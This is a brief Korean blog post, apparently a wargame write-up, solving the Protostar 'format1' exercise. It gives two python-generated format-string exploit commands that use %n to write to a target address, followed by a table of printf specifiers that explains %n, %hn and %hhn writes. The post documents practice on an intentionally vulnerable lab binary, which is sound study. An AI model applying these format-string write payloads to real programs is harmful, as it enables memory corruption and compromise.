protostar format1

시스템 2025. 1. 28. 17:15

https://blog.naver.com/seongjin0526/221330918874

 

exploit-exercises protostar format1

(gdb) disas main Dump of assembler code for function main: 0x0804841c <main+0>:    ...

blog.naver.com

 

위 블로그 내 나온데로 바이트 길이 조절이 필요함 
환경마다 미세하게 길이 값을 다르게 요청해야 정상적으로 결과 값이 print 되는 것 같음

./format1 `python -c 'print "\x38\x96\x04\x08AAAAAA%130$n"'`
./format1 `python -c 'print "\x38\x96\x04\x08AAAA"+"%8x"*127+"%8n"'`

 

Format String기능

%d 정수(10진수 int)
%c 문자(char)
%s 문자열(NULL을 만날 때 까지 출력)
%f 실수(float)
%lf 실수(double)
%p 주소 출력할때 사용, 메모리 크기만큼 자리수가 채워짐
%x 정수(16진수)
%u 부호없는 정수
%ld 부호 있는 long형 int
%n 4바이트 공간에 현재까지 출력된 바이트 수 입력(남는공간은 0으로 채워짐)
%hn 2바이트 공간에 현재까지 출력된 바이트 수 입력
%hhn 1바이트 공간에 현재까지 출력된 바이트 수 입력

'시스템' 카테고리의 다른 글

protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar stack5  (0) 2025.01.28
protostar stack2  (0) 2025.01.27
Buffer OverFlow 대응방안  (0) 2022.10.24
블로그 이미지

wtdsoul

,